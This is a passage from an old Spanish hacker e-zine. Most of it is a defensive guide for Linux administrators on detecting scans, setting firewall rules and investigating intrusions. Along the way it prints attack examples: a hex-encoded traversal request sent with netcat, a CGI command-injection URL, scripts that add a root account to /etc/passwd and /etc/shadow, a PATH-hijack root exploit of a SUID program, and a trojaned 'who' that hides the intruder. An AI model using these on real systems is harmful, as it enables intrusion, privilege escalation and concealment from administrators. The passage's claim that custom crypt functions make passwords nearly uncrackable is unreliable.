  oficinas, comercios; en fin, en cualquier parte de la vida cotidiana. Asi,
  nuestros hijos y las proximas generaciones aprenderan a usar un PC, o
  cualquier dispositivo electronico con Linux.


  Escrito y realizado por: M3T4LK1LL3R - METALKILLER@terra.es


<EOF>


-[ 4x10.txt ]----------------------------------------------------------------
-[ Antes y Despues de una Intrusion ]---------------------------[ |balrog| ]-
-----------------------------------------------------[ balrog@undersec.com ]-

  Empezaremos primero en el antes de la incursion al sistema:

  Lo primero que tenemos que saber es que antes de que una persona intente
  entrar a un sistema, previamente a ese paso, tiene que hacer sus
  correspondientes escaneos (tanto de CGIs o de puertos), es bueno tener
  siempre corriendo algun logueador o IDS que te registre esos escaneos que
  se produzcan en tu sistema.

  El escaneo de CGIs lo puedes ver en el fichero de LOGs del apache (o el
  correspondiente servidor web que tengas instalado), no estaria de mas que
  tuvieras algun programita que te filtrara y los visualizara en pantalla
  para echar mano a ese log cuando sea necesario y sin tener que ir a
  contrarreloj poniendo sentencias de UNIX. Tambien puedes colocar un IDS
  para que detecte escaneos de CGI en hexadecimal (ahora esta muy de moda),
  ya que para el servidor web es exactamente igual poner "../.." que
  "..%c0%af..", ya es conocido los famosos fallos de unicode de windows y
  su 'famoso" ISS.

  Pondremos un ejemplo de programa para pasar las sentencias de texto
  plano a texto hexadecimal:


hardcoding.c (Ver en el la seccion de Software, 4x14.txt)


  Bien, con este codigo fuente podemos pasarle cualquier texto para que lo
  pase a hexadecimal, el programa generaria una salida de la siguiente
  forma:

# ./h ../../../index.html
GET %2e%2e%2f%2e%2e%2f%2e%2e%2f%69%6e%64%65%78%2e%68%74%6d%6c HTTP/1.0

  Para utilizarlo, yo lo ejecuto de la siguiente forma:

# ./h index.shtml | netcat 192.168.0.3 80

  Como supondreis la ip esa es una maquina local mia que tiene apache y
  tiene un index.shtml y efectivamente funciona perfectamente, me da la
  salida del shtml en pantalla :))

  El escaneo de puertos se puede realizar de varias formas, la mas
  importante es las que dejan pocos logs en el sistema y esas se realizan
  de forma stealth, tambien se pueden hacer normales (tcp scan), pero el
  atacante que quiere ser lo mas silencioso lo hara de forma stealth. Otra
  de las formas que se utilizan y son las mas efectivas para esconderse, son
  los escaneos distribuidos. Unas cuantas maquinas que tienen un servidor
  corriendo en ellas y el atacante que es el cliente hace la peticion de
  escaneo y automaticamente las maquinas con el servidor distribuido
  instalado, reciben la peticion de escaneo de una IP y se efectua el
  escaneo. Es interesante esta forma de escanear, ya que a parte de escanear
  maquinas o rangos muy rapidamente, haces que el administrador que esta
  viendo los logs se vuelva "loco". Para esta forma de escaneo no hay
  remedio, sino aguantar y ver si despues de los escaneos alguna maquina
  intenta hacer pruebas con los puertos que anteriormente se escanearon
  distribuidamente.

  Un ejemplo de las formas anteriormente son las siguientes, utilizaremos
  el nmap (de fyodor) como escaneador y el Genesis (de doing) como
  escaneador distribuido, empezemos:

# nmap -sS -p1-65535 192.168.0.2
Starting nmap V. 2.54BETA1 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on cartman (192.168.0.2):
(The 1517 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp
22/tcp     open        ssh
25/tcp     open        smtp
53/tcp     open        domain
80/tcp     open        http
110/tcp    open        pop-3
111/tcp    open        sunrpc
713/tcp    open        unknown

Nmap run completed -- 1 IP address (1 host up) scanned in 3 seconds

  Bueno, esto seria la salida del escaneo con nmap, para el que ejecuta el
  nmap solo ve el resultado final, pero no ve realmente como trabaja, veamos
  que nos dice el snort de todo esto ;)

[**] spp_portscan: portscan status from 192.168.0.2: 1 connections across
                   1 hosts:
TCP(65535), UDP(0) STEALTH [**]

  Como vemos, el snort nos dice que se ha hecho un escaneo de 65535 puertos
  de forma STEALTH y sabemos quien fue, aunque esta vez fui yo a mi propia
  maquina jejeje.

  Si lo hicieramos de forma normal, el snort nos diria lo siguiente:

[**] spp_portscan: portscan status from 192.168.0.2: 1 connections across
                   1 hosts:
TCP(1), UDP(0)

  Para hacer las pruebas con un escaneador distribuido utilice el Genesis
  y la respuesta fue la misma pero mas rapida, solo utilice dos maquinas
  locales para escanear mi maquina, pero los resultados fueron los mismos.

  Explicare el funcionamiento de un escaneador distribuido, la sintaxis
  para escanear es la misma que un nmap, pero con una peque~a diferencia,
  previamente tienes que cargar en las maquinas que van hacer de "servidor"
  para el escaneador cliente, su demonio, que sera el que este escuchando el
  "paquete" que le haga funcionar, en ese paquete vendra la IP o grupo de
  IPs que tiene que escanear, y cuando la reciba el server, se pondran a
  escanear y le mostraran los resultados al cliente, es bastante interesante
  este tema, sobre todo si quieres escanear rangos de host muy extensos :)

  La forma normal le puede detectar cualquier logueador normal que haya en
  el sistema (tipo tcpdump, hasta el mismo syslog...), si no lo hubiera,
  se aconseja instalar uno.

  La forma stealth implementa otra forma de escaneo, que enga~a al sistema
  y no se loguea sino tienes un programa especial para ese tipo de escaneos.
  Precisamente lo que hace la maquina atacante es enviar un SYN a la maquina
  atacada y cuando la maquina va a contestar con un ACK automaticamente la
  maquina atacante le hace un RST y no llega el ACK. Para evitar esto es
  interesante instalar un IDS (Intrusion Detection System), puede bajarse uno
  de www.lids.org o www.snort.org. El IDS es un programa de monitorizacion y
  limitacion de recursos de la maquina que puede instalarse como parche
  (lids + openwall) o sin parche para el kernel (snort) y todo lo que se
  monitoriza sale impreso en el syslog. En mi opinion los IDS que se instalan
  como parches del kernel no tienen mi total confianza ... no me gusta jugar
  con modulos que otras personas que no sean los desarrolladores del kernel
  hagan, puede pasar de todo y de hecho puedo constatar que pasa, todavia
  recuerdo mi primer kernel panic con el LIDS .... yo me decanto mas por el
  IDS como demonio corriendo en el sistema, en este caso el snort que me da
  la informacion que yo necesito y no tengo que recompilar kernel ni nada.

  Despues de los correspondientes escaneos, lo que normalmente se suele
  hacer, es pillar las versiones de los correspondientes SERVICIOS y CGIs que
  tengan instalados en el sistema. Este punto es delicado por parte del que lo
  hace, ya que de alguna forma, tiene que hacer una conexion TCP (o http) para
  ver que version de servicios tienes... En este punto, es cuando el syslog
  (o el correspondiente IDS) se va a poner a registrar sucesivos entradas a
  los diferentes puertos. Una salida del syslog de un intento de intrusion a
  un determinado puerto (nosotros pondremos el puerto 25), seria:

Apr 16 11:54:23 sistema sendmail[9000]: NOQUEUE: Null connection from
nombre_sistema.org [ip_sistema]

  Si se utilizara un IDS la salida en el syslog seria mas "grafica" tipo:

Apr 16 11:54:23 snort[6000]: INTENTO DE XPLOIT /BIN/SH EN 110 de [ip_atacante]

  Como vemos, es mucho mas facil de entender lo que esta intentando hacer el
  atacante en el puerto 110, posiblemente haya intentado poner /bin/sh en el
  USER o en el PASS a ver si tragaba (pobre infeliz ...)

  Para la prueba no tan "grafica" utilice el NetCat para conseguir la
  informacion del servicio SENDMAIL y como vemos en el syslog, se registra
  el intento al puerto que se ha efectuado por el atacante, lo de
  "NOQUEUE: Null ..." significa que el atacante ha abierto el puerto y no ha
  enviado ninguna informacion a el. Si puede ser, tener un programa
  logueador que no sea el syslog, ya que el syslog es muy general y no
  estariamos totalmente informados de lo que ha ocurrido, porque peticiones
  al puerto 25 de una maquina que sea servidor de correo pueden ser multitud
  de ellas... hay programas que recogen los logs y los dividen en otros
  ficheros poniendo lo que no es normal que ocurra en ellos, asi podemos
  facilitarnos toda estas entradas que no deben ser normales, asi siempre
  miraremos lo que ocurre y no nos gusta un pelo.

  Un ejemplo de regla en el fichero de configuracion del snort es la
  siguiente:

alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"EXPLOIT BIND Tsig Overflow
Attempt"; content:"|80 00 07 00 00 00 00 00 01 3F 00 01 02|/bin/sh";)

  Esta bastante claro, no? y es bastante intuitivo crear nuestras propias
  reglas y optimizarlo para que trabaje perfectamente, hay que preveer todo,
  ya que si en algun "paquete" que te envie alguien, contiene lo que tu le
  pasas por el "content", seguramente te de una falsa alarma ;)

  NOTA IMPORTANTE: Porque haya un intento de acceso a un puerto, no
                   significa necesariamente que sea para hacer alguna
                   trastada, esta nota la pongo para los ADMINISTRADORES
                   paranoicos que cuando ven un intento de acceso a uno de
                   sus puertos...  se vuelven locos, histericos y lo unico
                   que hacen es llamar a quien no tienen que llamar en ese
                   momento... Se tome una tila si es uno de ellos. Se
                   aconseja a los administradores de sistemas, que los
                   servicios que no utilicen, los cierren en el fichero
                   inetd.conf que se localiza en el directorio /etc y sino
                   fueran servicios de inetd.conf que los metan en un
                   firewall o a veces maten procesos inecesarios que abren
                   puertos al exterior que no utilizamos para nada y que
                   pueden ser un grave problema para el sistema, por ejemplo
                   si en un servidor no utilizamos una impresora y el
                   servidor no es de impresion, para que queremos tener el
                   servicio lpd ...

  Tambien un consejo es poner ciertas reglas en los ficheros host.allow y
  host.deny si en realidad el acceso a esa maquina va a ser por gente de la
  empresa que se sabe en todo momento con que proveedores entran a Internet.
  Tambien se puede utilizar varios tipos de logueadores que no sean el syslog
  en si, como puede ser el ippl, icmplogd, portsentry o el mismo y famoso
  tcpdump. Por ejemplo, si tus empleados utilizan el proveedor XXX, que en
  el host.deny se deniegue todos los proveedores menos los que utilizan tus
  empleados y que en el host.allow se de acceso a tu servidor al proveedor
  que utilizan tus empleados.

  Cuando se meta una regla en el ipchains (si es el programa de firewall que
  utiliza), se recomienda que primero se deniegue todo y despues se le de
  acceso a las maquinas que quieres que entren a su sistema. Si utilizara
  otro tipo de firewall que no fuera el maravilloso ipchains de linux (se
  nota que me gusta ...), pues entonces tendra que meter las reglas tal y
  como le he dicho pero de la forma que le indique las instrucciones del
  firewall que tenga instalado en su sistema.

  Ej. De una regla que lo deniega todo y solo deja abierto el 23,22,25 y 110
  para entrada:

  ipchains -P input -j DENY
  ipchains -I input -j ACCEPT -d 0.0.0.0/0 23 -p tcp
  ipchains -I input -j ACCEPT -d 0.0.0.0/0 22 -p tcp
  ipchains -I input -j ACCEPT -d 0.0.0.0/0 25 -p tcp
  ipchains -I input -j ACCEPT -d 0.0.0.0/0 110 -p tcp


  Ej. De una regla denegando el acceso al puerto 23:

  ipchains -I input -j DENY -d 0.0.0.0/0 23 -p tcp

  Esta claro que segun tenga el administrador de retorcida la cabeza, sera
  el exito o el fracaso de que su sistema sea seguro. Yo profiero un
  sistema totalmente chapado y dejando solo entrar a la gente que nos
  interesa, por ejemplo ... si sabes que en tu sistema tienes una plantilla
  que todos los que tienen acceso remoto al puerto de telnet entran desde su
  casa y con una conexion de un proveedor espa~ol y ves en el syslog (ids, o
  logger que tenga instalado) que se esta intentando entrar desde una
  direccion japonesa o similar y tu no has dado conexion remota al puerto
  telnet a una direccion japonesa, automaticamente el administrador no
  deberia pensarselo nada... se le mete una regla de firewall que ninguna
  direccion japonesa pueda entrar remotamente al puerto telnet, asi evitas
  problemas y trabajo.

  Yo he llegado a ver administradores tan paranoicos que sus sistemas han
  sido totalmente un caos para los que han intentado entrar al sistema,
  cosas como poner nombres de host a las maquinas deducibles no es lo mas
  recomendable, por ejemplo... un router que tenga de nombre de host
  router.dominio.es no es precisamente de un administrador inteligente, ni
  tampoco sqlserver.dominio.es ... Hay que saber realizar la topologia de
  red bien, colocando nombres de las maquinas sin referirse a esos nombres
  tan deducibles que lo unico que hacen es dar mucha informacion al posible
  atacante. Por ejemplo... a mi me gusta poner nombres de personajes
  comicos, en este caso shoutpark, al router le puse cheff, y a las demas
  maquinas con los nombres de los personajillos estos tan maleducados
  jejejeje. Otra de las cosas que se pueden hacer y que he visto aplicarlo
  a algun administrador es realizar reglas de firewall que permitan
  conexiones a un puerto especifico, al de telnet por ejemplo, y que mire la
  IP que ha hecho la peticion, si la peticion la hizo una IP permitida, se
  da el acceso remoto al servicio telnet a esa IP, sino es una IP permitida,
  se le loguea y se le envia un mensaje diciendole "Esta IP no esta
  autorizada, si sigue intentandolo tendremos que emplear la fuerza judicial,
  gracias.", Asi seguro que el tio que lo haya probado, no le da muchas mas
  ganas de tocar tu maquina ;-)

  Importantisimo tiene que ser, que lo primero que se haga es cerrar el
  firewall por completo y abrir lo que quieres tener abierto a los de
  Internet, nunca hacerlo al reves, que es como lo hacen la mayoria de
  administradores y despues tienen serios problemas. La mayoria de empleados
  utilizan programas para poder salir y compartir recursos en Internet que
  utilizan para comunicarse, si se configura bien un firewall esos empleados
  estaran quejandose cada dos por tres porque no les va el programa este o
  aquello, una solucion buena seria coger empleado por empleado y hablar con
  el para ver que utiliza y ver que posibles puertos deberias dejar sin
  denegar en el firewall, otra y es la que mas me gusta a mi, es hacer de
  BOFH (Bastard Operator From Hell), tu cierras todo y si se quejan que
  vayan hablar contigo ;-), otra cosa importante es denegar los puertos
  de salida desde tu maquina hacia fuera, por si se hicieran alguna
  maquina de tu red, para que no puedan abrir puertos libremente con shell
  bindeadas .... Cuando mas "nazi" seas administrando, mejor ira tu red.

  Por ejemplo, si tenemos un sistema con el puerto 80 abierto solo y el
  firewall filtrando todas las conexiones de entrada, y en el puerto 80
  (el de web) encontramos un CGI que nos permite ejecutar codigo albitrario,
  podriamos conseguir abrirnos una xterm en nuestra maquina y ya tendriamos
  shell de la maquina en nuestra maquina :)), si has configurado el firewall
  para que deniegue la salida al puerto 6000, esa xterm se quedaria dentro y
  no saldria nunca, asi solucionamos el problema, ya sea el puerto 6000 o
  otro.

  Lo que significa la linea de ipchains que he puesto anteriormente es
  lo siguiente (se puede sacar informacion haciendo man ipchains o
  ipchains -h):

  -I -> Inserta una regla
        input -> una regla de entrada, tambien existe output, forward...   
  -j -> indicas que quieres hacer con la regla si denegarla (DENY),
        aceptarla (ACCEPT) ...
  -d -> indicas el destino 
  -p -> indicas el protocolo

  Se recomienda tambien a que si no tiene ninguna aplicacion que requiera
  ciertos ICMP, los deniegue para evitar o por lo menos minimizar ataques
  externos basandose en pings masivos. Uno de los directorios en linux que
  son muy importantes e interesantes de leerse la documentacion es el
  "/proc", desde el se pueden hacer varias cosas sin tener que meterse a
  mirar desde un ipchains o algun otro firewall. Esto no para un ataque muy
  grande, pero minimiza el esfuerzo del servidor. Otra cosa que hay que
  cuidar es la dificultad de elegir los password para el sistema. Los mejores
  password son los que no tienen nada referido a la persona que utiliza el
  sistema, password con letras y numeros son los que mas cuestan averiguar.
  Si el servidor toca datos muy importantes y no quieres adiergarte en que
  un usuario del sistema pueda poner un password facil, puedes seguir tres
  metodos:
 
  1.- Pasar un crackeador de password en tu sistema para ver si son fiables
      los password de tus usuarios, seria una buena idea.

  2.- Otra buena idea seria poner los password el administrador del sistema,
      password aleatorios con algun programa, es mas dificil de averiguar
      pero si el usuario es una persona descuidada, puede llegar a dejar el
      password por algun papel y otra persona malintencionada conseguirlo
      para su beneficio.

  3.- Otra buena idea seria, darle al usuario X caracteres para elegir, por
      ejemplo 6 caracteres y luego el administrador poner los restantes, asi
      con esos 3 caracteres jugar con mayusculas, simbolos y numeros, no es
      muy bueno el resultado porque pueden aparecer password con apellido de
      un tio y 3 caracteres y un crackeador de password puede averiguarlo
      facilmente, pero es mejor que encontrar un password siendo igual que
      el login.

  4.- La forma con la que los genero yo, es aleatoriamente, al principio me
      cuesta aprenderlos pero al final ya los tengo en la cabeza y son muy
      complicados de averiguar.

  En las cuatro propuestas se tiene que concienciar al usuario que utilice
  el sistema, que los passwords tienen que ser faciles para ellos pero
  dificiles para otros usuarios y que en ningun momento pueden pasar un
  password a una persona que pueda comprometer el sistema. Yo les digo
  exactamente "tu password es como tu polla, si se la das a otro, que haces
  tu, tocarte el ano?" :P

  El tema de denegar ICMP es importante, esta claro que todos los ICMP no
  deberian denegarse o por lo menos a todas las maquinas no, se debe de
  hacer una politica de filtraje de los ICMP existentes para tener el maximo
  rendimiento en tu red y que no se colapse por ICMP inutiles que no sirven
  para nada. Al comercial de la planta X no le interesa que el ordenador que
  utilizan los tecnicos para salir a Internet este DOWN y le lleguen ICMP, en
  esos casos, la red o el ordenador del comercial deberia denegar los ICMP
  que le lleguen de la maquinas de los tecnicos. Y asi con los diferentes
  protocolos, sobre todo si hay Windows por la red, que suelen pasar por la
  red muchos paquetes ARP y NETBIOS que no nos importa a las demas maquinas.

  Crear politicas de filtraje tales como... si recibes 5 ICMP echo en un
  determinado tiempo cierre la entrada de ICMP a la IP que lo esta enviando,
  seria buena idea. Tambien decir que los tracerouter para la gente de fuera,
  deberian estar denegados, para que en ningun momento puedan sacar
  informacion de tu red, sabiendo por que routers pasan los paquetes que
  esta enviando el atacante y las maquinas que puedan tener una relacion de
  confianza con la maquina atacada.

  Para la generacion de password se puede realizar cambios en los programas
  de generacion de password e identificacion en el sistema, como cambiar la
  funcion crypt en los ejecutables login, adduser y algunos otros, por otra
  funcion crypt personal (por ejemplo, combinar la de linux y freebsd).
  Utilizando las famosas DES o MD5 siempre pueden reventar el password, si
  utilizas unas funciones que no conozcan los que intentan reventar el
  password, lo mas probable (casi el 100% de los casos) no podran conseguir
  nada.

  Actuando como un BOFH, como los comandos ping, tracerouter, gdb...  son
  comandos con un fin administrativo, los empleados no deberian utilizarlo
  para nada y deberian denegarse a todos los usuarios que no sean
  administradores en el sistema.

  Ahora que ya hemos visto casi todo lo relacionado con los ataques por
  puertos TCP, pasaremos a ver los problemas que pueden surgir con
  determinados CGIs que se instalan por defecto en el sistema. Cuando
  corres un servidor apache tienes que tener en cuenta algunas cosas muy
  importantes, la primera y fundamental es arrancar el servidor de apache
  como un usuario que no sea root. Como se hace eso? , Pues hay un comando
  que pone en marcha el apache con usuario nobody, ese comando es el
  apachectl y lo que hace es hacer un correr el apache y hacer un su a
  nobody, asi cualquier problema que ocurra en el apache, se haria con los
  privilegios de nobody y no habria muchos problemas en el sistema. Si
  arrancas el apache con "apache start" se cargaria como root y no es
  recomendable. Asi un CGIs es menos comprometedor en el sistema que si el
  apache corriera como root. Trabajar con chroot para que ningun CGI pueda
  ir mas atras que la raiz del chroot, seria buena idea. Normalmente los CGIs
  no trabajan con una raiz predefinida por el administrador, entonces
  cualquier cgi que pueda tirar para atras del directorio cgi-bin, puede
  visualizar ficheros comprometedores. Entonces, la cosa queda en:

  1.- Correr apache (o el servidor web que tenga instalado) con el comando
      apachectl para que el usuario que pudieran conseguir fuera NOBODY.

  2.- Borrar los CGIs que no sean necesarios o que sean lo que te instala la
      instalacion por defecto del apache y que puedan comprometer el sistema.

  3.- Reexaminacion de los CGIs instalados en el sistema para encontrar
      posibles variables que puedan saltar a un fichero cualquiera del
      sistema.

  4.- Quitar de los CGIs que puedan pasarle a variables metacaracteres para
      evitar poder ejecutar codigo albitrario en el apache de tipo:

  http://www.dominio.com/cgi.cgi?var=tepeto&|/usr/bin/xterm|&var2=hola2

   5.- Recomendable poner un chroot a los CGI para que actuen solo dentro
       del directorio CGI-BIN si puede ser posible. O que el mismo apache
       este en un chroot.

  Tengo que aclarar que normalmente el apache ya crea su chroot. Un chroot
  no te soluciona la vida, solo es un escollo mas para el atacante. Un
  chroot es para que el programa crea que el directorio raiz de todo el
  sistema es otro que nosotros hayamos elegido, es como una carcel, pero
  para que funcione perfectamente tiene que configurarse perfectamente.

  Otro de los servidores que han tenido muchos problemas ha sido el BIND
  (el servidor de nombres de dominio), han salido ultimamente fallos muy
  gordos que comprometian el sistema, con ataques DoS (Denegacion de
  Servicio), conseguir shell remotamente con el UID del usuario que
  corre el DNS (normalmente root)...   A todo ello, se recomienda que
  se tenga lo mas actualizado posible el servidor de nombres del sistema.
  Servicios como el ftp y sendmail son una fuente grande de problemas
  siempre, son raros no tener mas de un fallo por cada uno de estos
  servicios con lo que se recomienda estar al loro e intentar actualizarse
  para no quedarse viejo en estos servicios.

  Tambien esta el conocido QPOP, este servicio se esta convirtiendo poco a
  poco en un sendmail, todas sus versiones vienen con algun fallo que pueda
  comprometer el sistema.

  En general, que lo que quiero dejar claro con todo esto que he dicho es
  que la gente tiene que intentar actualizarse lo mas pronto posible,
  leerse bien la documentacion, leerse bien los ficheros de configuracion
  (que casi nadie lo hace) y cuando uno crea que el sistema esta preparado
  y es la hora de pasar las maquinas a produccion, pues se pasan, mientras
  hayan posibles fallos o escapes en alguna configuracion mejor no pasar
  a produccion.

  Para tener un sistema totalmente asegurado tienes que conocerlo 100% y
  eso no se consigue solo instalando el sistema operativo y sus
  servicios... sino mirando de arriba a bajo todo el sistema, borrando
  servicios innecesarios, ficheros, haciendo politica de usuarios y
  permisos ...

  NOTA: Todo este tipo de escaneos se pueden hacer mediante una pasarela que
        no sea la propia maquina del atacante, eso significa que perdemos un
        poco la pista de por donde puede venir exactamente el ataque... Pero
        bueno... esto solo lo hacen los que de verdad saben que es peligroso
        entrar a un sistema con su propia ip, digamos que pocos. De todas
        formas para conseguir entrar a un sistema con otra IP son los
        conocidos SOCKS4 y SOCKS5, tambien los wingates... Todos estos
        servicios si estan mal configurados se pueden aprovechar para pasar
        por ellos, si el administrador los configure bien, ninguno de fuera
        podria utilizarlos para sus ataques a otras maquinas.



  Despues de la intrusion:

  Despues de que una persona haya entrado al sistema, ya se tiene que
  actuar sin cometer ningun fallo, sin dejarlo pasar en el tiempo y sobre
  todo lo mas rapido posible y en conjunto. Cuando una persona esta dentro
  de una maquina, puede ser que sea porque alguno de los empleados le ha
  dado una cuenta, o porque a conseguido sacar un fallo en el sistema que le
  ha dado algun privilegio en el sistema (hasta que sea muy peque~o el
  privilegio). Un administrador podria hacer lo siguiente:

  1.- Apagaria el sistema.
  2.- Quitaria el cable que tiene conectado a Internet. 
  3.- Estudiarias lo que hace el individuo en tu sistema para saber por donde
      a entrado...

  La mayoria de administradores (para mi punto de vista, los cazurros), lo
  que hacen es apagar el sistema o cortar la linea para que no sigan
  haciendo nada, en el caso de un administrador BOFH, lo que haria es
  investigar como trabajaria el individuo en el sistema, mirando y
  monitorizando todo lo que hace para actuar rapido y limpiamente, de esa
  forma se puede averiguar fallos en el sistema, ves por donde ha entrado,
  que ha utilizado...  Este tema puede ser bastante largo, hay mucha
  diferencia de opiniones y cada uno ve de distintos ojos la forma de
  actuar, conque ya esta dicho todo sobre este tema.

  Se puede tambien realizar unos sistemas virtuales, en el que haya una
  maquina backup con menos informacion que la maquina original y hacer
  una caida limpia sin que el atacante se de cuenta que la maquina ha
  caido a cosa hecha, cuando intente entrar otra vez, estara en la maquina
  virtual y podra jugar todo lo que quiera, siendo monitorizado y viendo lo
  que hace y como ha entrado, es un poco mas costoso economicamente, pero
  es muy factible.

  Normalmente las intenciones de un atacante son:

  1.- ls 
  2.- cd /etc
  3.- vi passwd o vi shadow
  4.- voy a ver si puedo petar algo localmente...
  ...

  En ese momento es cuando el administrador tiene que empezar a trabajar
  lo mas rapidamente posible y averiguar que esta haciendo, se pueden
  utilizar muchas herramientas, una de ellas es el ttysnoop que te da
  control total sobre la consola ttypX que le ha abierto el sistema al
  atacante, es bastante interesante pero tambien puede ser un riesgo a~adido,
  tener cargado un programa en medio que se ejecute cada vez que una persona
  haga "telnet" a tu maquina.

  De una intrusion se aprende como tratar otra intrusion, la mayoria de
  dirigentes cuando el administrador le comenta que le han entrado en el
  sistema y le han pillado X ficheros importantes o han borrado material
  importante, inmediatamente el jefe se dirige al administrador no con muy
  buenos ojos y seguramente sea su posible despido. Hay que concienciar al
  administrador como al jefe (dirigente), de que una intrusion no es algo
  que no se pueda producir ni corregir, es muy dificil tener un sistema 100%
  asegurado, ya que la informatica evoluciona en un tiempo record y los
  fallos de seguridad en programas son cada vez mas abundantes, nunca se
  esta seguro como diria un buen BOFH.

  A partir de que uno haya entrado al sistema, entonces es cuando empieza
  el verdadero trabajo. Dare unos pasos fundamentales para intentar pillar
  pistas sobre que ha podido hacer:

  1.- Lo primero es mirar en los logs del sistema todo intento de intrusion
      desde fuera y que se haya hecho efectivo. Buscar posibles fallos en
      los servicios,  buffer overflow... Aqui es donde entra la habilidad
      del administrador, si hizo algo de lo que puse anteriormente (como
      loguear en otros ficheros que no sepa el intruso que existen), etc ...
      tambien es importante que desconfie totalmente de todos los usuarios...
      el atacante no necesariamente entrara con un usuario que se cree el, lo
      hara con algun usuario del sistema y porque sea tu mejor amigo no
      tienes que dejar de desconfiar, lo mas probable este en el sistema
      con una cuenta que confies en ella, hay que ser paranoico en este tema,
      ningun usuario es fiable en un sistema mientras se compruebe lo
      contrario.

  2.- Ahora lo que tiene que hacer es mirar todos los ficheros que esten con
      el flags SUID, para ver si el intruso ha puesto algun fichero shell con
      derechos de root para que pueda ejecutar cualquier usuario.

      Despues de ver los ficheros SUID y comprobar que no hay ninguno que
      puedan utilizar para conseguir mayores privilegios en el sistema.

  3.- Miraremos el fichero de grupos (/etc/group), fichero de password
      (/etc/passwd o /etc/shadow) o fichero de demonios (/etc/inetd.conf).

  4.- Comprobaremos si existe alguna entrada en esos ficheros, que tenga
      indicios de backdoor o troyano.  

  5.- Miraremos en los ficheros de grupo y password para ver si hay entradas
      de usuarios que no hayamos dado nosotros y tengan UID y GUID 0 o 131072
      (EN LINUX) O 65536 (en solaris o similar), por suerte existe parche para
      esto, si lo tienes instalado no tendras problemas con estas dos UID
      conflictivas.

  6.- El fichero inetd.conf es un fichero mas delicado, en el tendremos que
      verificar que los programas que se cargan no son troyanos. Mirar bien,
      ya que un usuario malintencionado podria cambiar el fichero que carga
      el demonio por un shell script para que pareciera que ejecuta el
      demonio y en realidad ejecutara otra cosa. Por ejemplo: Miramos en el
      fichero inetd.conf y vemos:

Finger stream tcpnowait root /usr/sbin/finger finger
	
  Y despues viendo el fichero finger que esta en /usr/sbin vemos que
  contiene lo siguiente:

#!bin/sh
echo "victima:x:0:0:root:/root:/bin/bash" >> /etc/passwd
echo "victima:lAn./.FrtLvIA:11088:0:99999:7:::" >> /etc/shadow

  O cualquier otra cosa que pueda comprometer el sistema y sea mas ingenioso
  que esto como puede ser un script en perl que abra un puerto y en ese
  puerto cuando haya una conexion, haya una shell.

  Una de las cosas que hay que tener cuidado con este tema es mirar el PATH
  del sistema, un individuo puede colocar un directorio por delante del PATH
  que hayan otro tipo de ficheros que le interese que ejecute el root como
  puede ser ls (troyanizados), login (troyanizado) .....  uno de los que
  mas me llamo la atencion fue el del comando "get_it" de la Corel Linux, el
  programa lo que hacia primero era un comando "cp", digamos que copiaban
  unas cosas a una ruta determinada por ellos, pero no se dieron cuenta de
  que si ponian el programa una ejecucion cp y no una "/bin/cp"
  (especificando la ruta), un usuario malintencionado podia a~adir al PATH
  del sistema la ruta de otro directorio que contenia un cp que modificaba
  por ejemplo el passwd o el shadow. El problema viene en que el fichero
  get_it tenia privilegios de root y era un fichero SUID y efectuaba
  operaciones como super usuario.

  Cualquiera que se fuera a las X y ejecutara el fichero "get_it" con el PATH
  modificado a su gusto y el fichero CP creado por el y que estuviera en el
  PATH, lo que hacia el get_it era ejecutar el fichero propio del atacante
  y eso con derechos de root por ser fichero SUID. Por ejemplo:

  Creas un fichero que se llame "cp" en "/home/user" y dentro del
  fichero pones:

  #!bin/sh 
  echo "victima:x:0:0:root:/root:/bin/bash" >> /etc/passwd
  echo "victima::11088:0:99999:7:::" >> /etc/shadow

  Ahora coges y pones "export PATH=/home/user" y cuando ejecutes "get_it"
  automaticamente ejecutara el fichero cp que esta en la ruta PATH, que
  es el que has creado tu, como el fichero "get_it" es de root y tiene
  SUID para que cualquier usuario tome los privilegios de root, pues
  entonces sobrescribe los ficheros passwd y shadow y consigues una
  maravillosa shell con UID 0, digamos que ya eres super usuario del
  sistema.

  8.- Ver las entradas de ficheros por ftp, de donde han podido llegar, esto
      se puede ver en el fichero /var/log/xferlog aunque segun el sistema
      operativo que utilices, puede que este situado en otro sitio. Ver el
      fichero de log del apache o el servicio web que este ejecutando
      para ver posibles intentos de CGI, ASP, PHP...  este tema tambien
      es delicado ya que la gente por lo menos en NT deja los ficheros por
      defecto del servidor web que tienen (el ISS 4.0 o 5.0), ficheros como
      el codebrws.asp, showcode...  son ficheros de ejemplos que casi ningun
      administrador borra de su sistema. Esos ficheros pueden visualizar
      cualquier fichero del sistema y son altamente peligrosos.

  9. - Examinar los ficheros de arranque para comprobar que no han colocado
       ninguna linea que pueda avisar a los intrusos (por si tienen IP
       dinamica) de que ip tiene en ese momento que arranco. Posibles envios
       de mail para enviar ficheros que le interese al intruso...
       Reexaminacion de los ficheros historicos del sistema, tanto de los
       usuarios que han podido ser atacados, como el.bash.history del sistema
       que se situa en el raiz. Ejecutar el comando "last" para ver los
       ultimos accesos al sistemas y de donde lo hicieron. Mirar todos los
       ficheros de arranque, buscando lineas que puedan comprometer el
       sistema.


  Despues de mirar todo eso y seguramente hayan mas tecnicas para ver que ha
  podido pasar en el sistema, pasaremos a mirar si por un casual pillamos al
  intruso con las manos en la masa, como puede ser mirar con un "who" o un
  "w" para ver quienes estan conectados, si tienes la suerte de que esta
  conectado y no te ha metido un who modificado para que no salga el usuario
  que esta utilizando el, es cuando no se tiene que poner nervioso y
  intentar monitorizar todos los pasos. Los atacantes tambien utilizan los
  famosos "Zapper", que son ficheros que limpian huellas del usuario que
  estan utilizando, estos ficheros se utilizan normalmente cuando ya se han
  hecho root en el sistema, conque si ves en tu sistema algun fichero llamado
  ZAP o algo por el estilo, puedes ir pensando bastante mal, es altamente
  recomendable hacer copias de los logs en otros sitios, para que el zapper
  borre los ficheros de logs por defecto pero siempre haya una copia de
  seguridad en otra parte para tirar mano de ella. Anteriormente dije que era
  necesario que los ficheros de logs, se guardaran alternativamente en otro
  sitio que no sea /var/log, asi tendriamos varias pruebas, no solo las que
  pueda modificar el, con zappers o a mano.  Por ejemplo, como poder crear
  un who alternativo para enga~ar a un administrador en plan facil:

  Mv /sbin/who /sbin/who2

  Ahora editas un fichero que se llame "who" y pones en su interior los
  siguiente:

#!/bin/sh
who2 | grep -v atacante

  Pues ya tienes un script que se llama "who" en la ruta PATH que si el
  administrador tira de el, no vera el usuario conectado, ya que el
  "grep -v" no te saca la coincidencia que le pasas como parametro.

